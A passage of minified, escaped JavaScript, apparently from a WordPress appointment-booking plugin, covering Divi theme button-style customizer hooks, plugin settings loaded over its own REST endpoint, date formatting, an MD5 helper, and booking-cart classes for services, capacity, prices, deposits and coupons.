s=t.split(\"|\"),a=\"\";return e.inArray(\"bold\",s)>=0?a+=\"font-weight: bold \"+i+\";\":a+=\"font-weight: inherit \"+i+\";\",e.inArray(\"italic\",s)>=0?a+=\"font-style: italic \"+i+\";\":a+=\"font-style: inherit \"+i+\";\",e.inArray(\"underline\",s)>=0?a+=\"text-decoration: underline \"+i+\";\":a+=\"text-decoration: inherit \"+i+\";\",e.inArray(\"uppercase\",s)>=0?a+=\"text-transform: uppercase \"+i+\";\":a+=\"text-transform: inherit \"+i+\";\",a}(i,\"\");t(\"mpa-divi-button-font-style\",'\u003Cstyle id=\"mpa-divi-button-font-style\">.mpa-shortcode .button{'+s+\"}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_spacing]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-spacing\",'\u003Cstyle id=\"mpa-divi-button-spacing\">.mpa-shortcode .button{letter-spacing:'+e+\"px;  !important}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_font]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-font\",'\u003Cstyle id=\"mpa-divi-button-font\">.mpa-shortcode .button{font-family:'+e+\", sans-serif  !important; }\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_text_color_hover]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-text-color-hover\",'\u003Cstyle id=\"mpa-divi-button-text-color-hover\">.mpa-shortcode .button:hover{color:'+e+\" !important; }\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_bg_color_hover]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-bg-color-hover\",'\u003Cstyle id=\"mpa-divi-button-bg-color-hover\">.mpa-shortcode .button:hover,background:'+e+\" !important; }\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_border_color_hover]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-border-color-hover\",'\u003Cstyle id=\"mpa-divi-button-border-color-hover\">.mpa-shortcode .button:hover{border-color:'+e+\" !important; }\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_border_radius_hover]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-border-radius-hover\",'\u003Cstyle id=\"mpa-divi-button-border-radius-hover\">.mpa-shortcode .button:hover{border-radius:'+e+\"px !important; }\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_spacing_hover]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-spacing-hover\",'\u003Cstyle id=\"mpa-divi-button-spacing-hover\">.mpa-shortcode .button:hover{letter-spacing: '+e+\"px !important; }\u003C\u002Fstyle>\")}))})),e(window).on(\"et_fb_root_did_mount et_fb_section_content_change\",(()=>{setTimeout((()=>{e(\".appointment-form-shortcode\").each(((t,i)=>{new Qe(e(i))}))}),200)}))}(jQuery)}(wp.date,mpaData,intlTelInput)}();\n+!function(){\"use strict\";!function(e,t,i){function s(e){return e.filter(((e,t,i)=>i.indexOf(e)===t))}function a(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function r(e,t){let i=Math.min(e.length,t.length),s={};for(let a=0;a\u003Ci;a++)s[e[a]]=t[a];return s}function n(e,t,i=1){let s=i||1,a=Math.abs(Math.floor((t-e)\u002Fs))+1;return[...Array(a).keys()].map((t=>t*i+e))}let o=\"\u002Fmotopress\u002Fappointment\u002Fv1\";function l(e,t={},i=\"GET\"){return new Promise(((s,a)=>{wp.apiRequest({path:o+e,type:i,data:t}).done((e=>s(e))).fail(((e,t)=>{let i=\"parsererror\";i=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,\"parsererror\"==i&&(i=\"REST request failed. Maybe PHP error on the server side. Check PHP logs.\"),a(new Error(i))}))}))}function h(e,t={}){return l(e,t,\"GET\")}function c(e,t){return l(e,t,\"POST\")}class p{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:\"Appointment Booking\",today:\"2030-01-01\",business_name:\"\",default_time_step:30,default_booking_status:\"confirmed\",confirmation_mode:\"auto\",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:\"\",currency:\"EUR\",currency_symbol:\"&euro;\",currency_position:\"before\",decimal_separator:\".\",thousand_separator:\",\",number_of_decimals:2,timezone:\"UTC\",date_format:\"F j, Y\",time_format:\"H:i\",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:\"en\",enable_payments:!1,active_gateways:[],reservation_received_page_url:\"\",failed_transaction_page_url:\"\",default_payment_gateway:\"\"}}load(){return new Promise(((e,t)=>{h(\"\u002Fsettings\").then((e=>this.settings=e),(e=>console.error(\"Unable to load public settings.\",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class d{constructor(){this.settingsCtrl=new p,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==d.instance&&(d.instance=new d),d.instance}}function m(){return d.getInstance()}const u=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t=\"\")=>e,g=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,i=\"\")=>e;\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;const y={weekdays:{shorthand:[u(\"Sun\",\"motopress-appointment\"),u(\"Mon\",\"motopress-appointment\"),u(\"Tue\",\"motopress-appointment\"),u(\"Wed\",\"motopress-appointment\"),u(\"Thu\",\"motopress-appointment\"),u(\"Fri\",\"motopress-appointment\"),u(\"Sat\",\"motopress-appointment\")],longhand:[u(\"Sunday\",\"motopress-appointment\"),u(\"Monday\",\"motopress-appointment\"),u(\"Tuesday\",\"motopress-appointment\"),u(\"Wednesday\",\"motopress-appointment\"),u(\"Thursday\",\"motopress-appointment\"),u(\"Friday\",\"motopress-appointment\"),u(\"Saturday\",\"motopress-appointment\")]},months:{shorthand:[u(\"Jan\",\"motopress-appointment\"),u(\"Feb\",\"motopress-appointment\"),u(\"Mar\",\"motopress-appointment\"),u(\"Apr\",\"motopress-appointment\"),g(\"May\",\"Month (short)\",\"motopress-appointment\"),u(\"Jun\",\"motopress-appointment\"),u(\"Jul\",\"motopress-appointment\"),u(\"Aug\",\"motopress-appointment\"),u(\"Sep\",\"motopress-appointment\"),u(\"Oct\",\"motopress-appointment\"),u(\"Nov\",\"motopress-appointment\"),u(\"Dec\",\"motopress-appointment\")],longhand:[u(\"January\",\"motopress-appointment\"),u(\"February\",\"motopress-appointment\"),u(\"March\",\"motopress-appointment\"),u(\"April\",\"motopress-appointment\"),g(\"May\",\"Month\",\"motopress-appointment\"),u(\"June\",\"motopress-appointment\"),u(\"July\",\"motopress-appointment\"),u(\"August\",\"motopress-appointment\"),u(\"September\",\"motopress-appointment\"),u(\"October\",\"motopress-appointment\"),u(\"November\",\"motopress-appointment\"),u(\"December\",\"motopress-appointment\")]},amPM:[\"AM\",\"PM\"],firstDayOfWeek:m().settings().getFirstDayOfWeek()};function f(t,i=\"public\"){if(\"string\"==typeof t)return t;if(\"internal\"==i)return f(t,\"Y-m-d\");if(\"public\"==i)return e.format(m().settings().getDateFormat(),t);let s=(e,t=2)=>(\"00\"+e).slice(-t),a=!1;return i.split(\"\").map((e=>{if(a)return a=!1,e;switch(e){case\"\\\\\":return a=!0,\"\";case\"j\":return t.getDate();case\"d\":return s(t.getDate());case\"D\":return y.weekdays.shorthand[t.getDay()];case\"l\":return y.weekdays.longhand[t.getDay()];case\"N\":return t.getDay()||7;case\"w\":return t.getDay();case\"z\":let i=new Date(t.getFullYear(),0,1),r=i.getTimezoneOffset()-t.getTimezoneOffset(),n=t-i+60*r*1e3,o=864e5;return Math.floor(n\u002Fo);case\"W\":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),p=864e5;return Math.ceil(((l-c)\u002Fp+1)\u002F7);case\"F\":return y.months.longhand[t.getMonth()];case\"M\":return y.months.shorthand[t.getMonth()];case\"m\":return s(t.getMonth()+1);case\"n\":return t.getMonth()+1;case\"t\":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case\"Y\":return t.getFullYear();case\"y\":return String(t.getFullYear()).substring(2);case\"L\":return t.getFullYear()%4==0?1:0;case\"A\":return y.amPM[t.getHours()>11?1:0];case\"a\":return y.amPM[t.getHours()>11?1:0].toLowerCase();case\"H\":return s(t.getHours());case\"h\":return s(t.getHours()%12||12);case\"G\":return t.getHours();case\"g\":return t.getHours()%12||12;case\"i\":return s(t.getMinutes());case\"s\":return s(t.getSeconds());case\"v\":return s(t.getMilliseconds(),3);case\"u\":return s(t.getMilliseconds(),3)+\"000\";case\"O\":case\"P\":let d=-t.getTimezoneOffset(),m=d>=0?\"+\":\"-\",u=Math.floor(Math.abs(d)\u002F60),g=Math.abs(d)%60,b=\"O\"==e?\"\":\":\";return m+s(u)+b+s(g);case\"Z\":return 60*t.getTimezoneOffset();case\"U\":return Math.floor(t.getTime()\u002F1e3);case\"c\":return f(t,\"Y-m-d\\\\TH:i:sP\");case\"r\":return f(t,\"D, d M Y H:i:s O\");case\"S\":case\"o\":case\"B\":case\"e\":case\"T\":case\"I\":return\"\";default:return e}})).join(\"\")}function b(e){let t=e.match(\u002F(\\d{4})-(\\d{2})-(\\d{2})\u002F);if(null!=t){let e=parseInt(t[1]),i=parseInt(t[2]),s=parseInt(t[3]);return new Date(e,i-1,s)}return null}function v(){let e=new Date;return e.setHours(0,0,0,0),e}function _(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,\"default\")?e.default:e}var S,w,P={exports:{}},C={exports:{}};S=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\u002F\",w={rotl:function(e,t){return e\u003C\u003Ct|e>>>32-t},rotr:function(e,t){return e\u003C\u003C32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&w.rotl(e,8)|4278255360&w.rotl(e,24);for(var t=0;t\u003Ce.length;t++)e[t]=w.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],i=0,s=0;i\u003Ce.length;i++,s+=8)t[s>>>5]|=e[i]\u003C\u003C24-s%32;return t},wordsToBytes:function(e){for(var t=[],i=0;i\u003C32*e.length;i+=8)t.push(e[i>>>5]>>>24-i%32&255);return t},bytesToHex:function(e){for(var t=[],i=0;i\u003Ce.length;i++)t.push((e[i]>>>4).toString(16)),t.push((15&e[i]).toString(16));return t.join(\"\")},hexToBytes:function(e){for(var t=[],i=0;i\u003Ce.length;i+=2)t.push(parseInt(e.substr(i,2),16));return t},bytesToBase64:function(e){for(var t=[],i=0;i\u003Ce.length;i+=3)for(var s=e[i]\u003C\u003C16|e[i+1]\u003C\u003C8|e[i+2],a=0;a\u003C4;a++)8*i+6*a\u003C=8*e.length?t.push(S.charAt(s>>>6*(3-a)&63)):t.push(\"=\");return t.join(\"\")},base64ToBytes:function(e){e=e.replace(\u002F[^A-Z0-9+\\\u002F]\u002Fgi,\"\");for(var t=[],i=0,s=0;i\u003Ce.length;s=++i%4)0!=s&&t.push((S.indexOf(e.charAt(i-1))&Math.pow(2,-2*s+8)-1)\u003C\u003C2*s|S.indexOf(e.charAt(i))>>>6-2*s);return t}},C.exports=w;var k=C.exports,$={utf8:{stringToBytes:function(e){return $.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape($.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],i=0;i\u003Ce.length;i++)t.push(255&e.charCodeAt(i));return t},bytesToString:function(e){for(var t=[],i=0;i\u003Ce.length;i++)t.push(String.fromCharCode(e[i]));return t.join(\"\")}}},T=$,I=function(e){return null!=e&&(D(e)||function(e){return\"function\"==typeof e.readFloatLE&&\"function\"==typeof e.slice&&D(e.slice(0,0))}(e)||!!e._isBuffer)};function D(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=k,t=T.utf8,i=I,s=T.bin,a=function(r,n){r.constructor==String?r=n&&\"binary\"===n.encoding?s.stringToBytes(r):t.stringToBytes(r):i(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,p=-1732584194,d=271733878,m=0;m\u003Co.length;m++)o[m]=16711935&(o[m]\u003C\u003C8|o[m]>>>24)|4278255360&(o[m]\u003C\u003C24|o[m]>>>8);o[l>>>5]|=128\u003C\u003Cl%32,o[14+(l+64>>>9\u003C\u003C4)]=l;var u=a._ff,g=a._gg,y=a._hh,f=a._ii;for(m=0;m\u003Co.length;m+=16){var b=h,v=c,_=p,S=d;h=u(h,c,p,d,o[m+0],7,-680876936),d=u(d,h,c,p,o[m+1],12,-389564586),p=u(p,d,h,c,o[m+2],17,606105819),c=u(c,p,d,h,o[m+3],22,-1044525330),h=u(h,c,p,d,o[m+4],7,-176418897),d=u(d,h,c,p,o[m+5],12,1200080426),p=u(p,d,h,c,o[m+6],17,-1473231341),c=u(c,p,d,h,o[m+7],22,-45705983),h=u(h,c,p,d,o[m+8],7,1770035416),d=u(d,h,c,p,o[m+9],12,-1958414417),p=u(p,d,h,c,o[m+10],17,-42063),c=u(c,p,d,h,o[m+11],22,-1990404162),h=u(h,c,p,d,o[m+12],7,1804603682),d=u(d,h,c,p,o[m+13],12,-40341101),p=u(p,d,h,c,o[m+14],17,-1502002290),h=g(h,c=u(c,p,d,h,o[m+15],22,1236535329),p,d,o[m+1],5,-165796510),d=g(d,h,c,p,o[m+6],9,-1069501632),p=g(p,d,h,c,o[m+11],14,643717713),c=g(c,p,d,h,o[m+0],20,-373897302),h=g(h,c,p,d,o[m+5],5,-701558691),d=g(d,h,c,p,o[m+10],9,38016083),p=g(p,d,h,c,o[m+15],14,-660478335),c=g(c,p,d,h,o[m+4],20,-405537848),h=g(h,c,p,d,o[m+9],5,568446438),d=g(d,h,c,p,o[m+14],9,-1019803690),p=g(p,d,h,c,o[m+3],14,-187363961),c=g(c,p,d,h,o[m+8],20,1163531501),h=g(h,c,p,d,o[m+13],5,-1444681467),d=g(d,h,c,p,o[m+2],9,-51403784),p=g(p,d,h,c,o[m+7],14,1735328473),h=y(h,c=g(c,p,d,h,o[m+12],20,-1926607734),p,d,o[m+5],4,-378558),d=y(d,h,c,p,o[m+8],11,-2022574463),p=y(p,d,h,c,o[m+11],16,1839030562),c=y(c,p,d,h,o[m+14],23,-35309556),h=y(h,c,p,d,o[m+1],4,-1530992060),d=y(d,h,c,p,o[m+4],11,1272893353),p=y(p,d,h,c,o[m+7],16,-155497632),c=y(c,p,d,h,o[m+10],23,-1094730640),h=y(h,c,p,d,o[m+13],4,681279174),d=y(d,h,c,p,o[m+0],11,-358537222),p=y(p,d,h,c,o[m+3],16,-722521979),c=y(c,p,d,h,o[m+6],23,76029189),h=y(h,c,p,d,o[m+9],4,-640364487),d=y(d,h,c,p,o[m+12],11,-421815835),p=y(p,d,h,c,o[m+15],16,530742520),h=f(h,c=y(c,p,d,h,o[m+2],23,-995338651),p,d,o[m+0],6,-198630844),d=f(d,h,c,p,o[m+7],10,1126891415),p=f(p,d,h,c,o[m+14],15,-1416354905),c=f(c,p,d,h,o[m+5],21,-57434055),h=f(h,c,p,d,o[m+12],6,1700485571),d=f(d,h,c,p,o[m+3],10,-1894986606),p=f(p,d,h,c,o[m+10],15,-1051523),c=f(c,p,d,h,o[m+1],21,-2054922799),h=f(h,c,p,d,o[m+8],6,1873313359),d=f(d,h,c,p,o[m+15],10,-30611744),p=f(p,d,h,c,o[m+6],15,-1560198380),c=f(c,p,d,h,o[m+13],21,1309151649),h=f(h,c,p,d,o[m+4],6,-145523070),d=f(d,h,c,p,o[m+11],10,-1120210379),p=f(p,d,h,c,o[m+2],15,718787259),c=f(c,p,d,h,o[m+9],21,-343485551),h=h+b>>>0,c=c+v>>>0,p=p+_>>>0,d=d+S>>>0}return e.endian([h,c,p,d])};a._ff=function(e,t,i,s,a,r,n){var o=e+(t&i|~t&s)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._gg=function(e,t,i,s,a,r,n){var o=e+(t&s|i&~s)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._hh=function(e,t,i,s,a,r,n){var o=e+(t^i^s)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._ii=function(e,t,i,s,a,r,n){var o=e+(i^(t|~s))+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,P.exports=function(t,i){if(null==t)throw new Error(\"Illegal argument \"+t);var r=e.wordsToBytes(a(t,i));return i&&i.asBytes?r:i&&i.asString?s.bytesToString(r):e.bytesToHex(r)}}();var E=_(P.exports);class A{setupProperties(){this.itemId=\"\",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e=\"all\"){return\"ids\"===e?this.getIds():\"availability\"===e?this.getAvailableIds():\"period\"===e?{date:null!==this.date?f(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\"}:jQuery.extend(this.getIds(),{date:null!==this.date?f(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\",capacity:this.capacity})}isSet(e=\"all\"){let t=!0;return\"all\"!==e&&\"ids\"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),\"all\"!==e&&\"period\"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&f(this.date,\"internal\")==f(e,\"internal\")&&this.time.toString(\"internal\")==t.toString(\"internal\")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(n(t.minCapacity,t.maxCapacity));return s(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case\"disabled\":default:t=e;break;case\"fixed\":t=this.service.depositAmount;break;case\"percentage\":t=e*this.service.depositAmount\u002F100}return t>e?e:t}getHash(e=\"all\"){return E(JSON.stringify(this.toArray(e)))}didChange(e,t=\"all\"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){\"number\"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){\"number\"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e\u003C=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let M=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let i=!this.includesKey(e);return this.values[e]=t,i&&(this.keys.push(e),this.length++),i}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let i=this.findNextKey(e);return\"\"!==i?this.values[i]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let i=t+1;return i\u003Cthis.length?this.keys[i]:this.keys[t]}findPrevious(e,t=null){let i=this.findPreviousKey(e);return\"\"!==i?this.values[i]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let i=t-1;return i>=0?this.keys[i]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let i=this.keys.indexOf(e);return this.keys.splice(i,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let i of this.keys){let s=this.values[i][e];null!=s&&(Array.isArray(s)?t=t.concat(s):t.push(s))}return s(t)}forEach(e){let t=0;for(let i of this.keys){let s=e(this.values[i],t,i,this);if(t++,!1===s)break}}map(e){let t=[],i=0;for(let s of this.keys)t.push(e(this.values[s],i,s,this)),i++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}},x={};function F(e,t=!1){return\"object\"==typeof e?0==function(e,t=!1){return\"object\"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function B(e=\"\",t=!1){let i=function(e,t){return t\u003C(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join(\"0\")+e:e};x.uniqid_seed||(x.uniqid_seed=Math.floor(123456789*Math.random())),x.uniqid_seed++;let s=e;return s+=i(parseInt((new Date).getTime()\u002F1e3,10),8),s+=i(x.uniqid_seed,5),t&&(s+=(10*Math.random()).toFixed(8).toString()),s}class L{setupProperties(){var e;this.items=new M,this.activeItem=null,this.customerDetails={name:\"\",email:\"\",phone:\"\"},this.paymentDetails={booking_id:0,gateway_id:\"none\"},this.coupon=null,this.bookingNonce=null!==(e=mpaData?.nonces?.mpa_create_booking)&&void 0!==e?e:\"\"}constructor(){this.setupProperties()}createItem(e=\"\"){e||(e=B());let t=new A(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():\"\"}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem=\"string\"==typeof e?this.getItem(e):e}removeItem(e){\"string\"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let i of e)t+=i.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let i=t.getPrice();this.hasCoupon()&&(i-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(i)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e=\"all\"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),m().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),\"items\"===e?t.items:t}getHash(e=\"all\"){return E(\"order\"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t=\"all\"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||v()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=s(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class O{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class R extends O{setupProperties(){super.setupProperties(),this.name=\"\"}}class N extends O{setupProperties(){super.setupProperties(),this.name=\"\"}}class V extends O{setupProperties(){super.setupProperties(),this.name=\"\",this.price=0,this.depositType=\"disabled\",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking=\"\",this.maxAdvanceTimeBeforeReservation=\"\",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel=\"\",this.variations={},this.image=\"\",this.thumbnail=\"\"}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let i=this.getVariation(\"price\",e,this.price);return this.multiplyPrice&&(i*=t),i}getDuration(e=0){return this.getVariation(\"duration\",e,this.duration)}getMinCapacity(e=0){return this.getVariation(\"min_capacity\",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation(\"max_capacity\",e,this.maxCapacity)}getVariation(e,t,i){return t in this.variations?this.variations[t][e]:i}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return\"\"!==this.customQuantityLabel?this.getCustomQuantityLabel():u(\"Clients\",\"motopress-appointment\")}}class q{static loadInBackground(e,t,i=!1){return t.findById(e.id,i).then((t=>{if(null!==t)for(let i in t)e[i]=t[i];return t}))}}class U extends 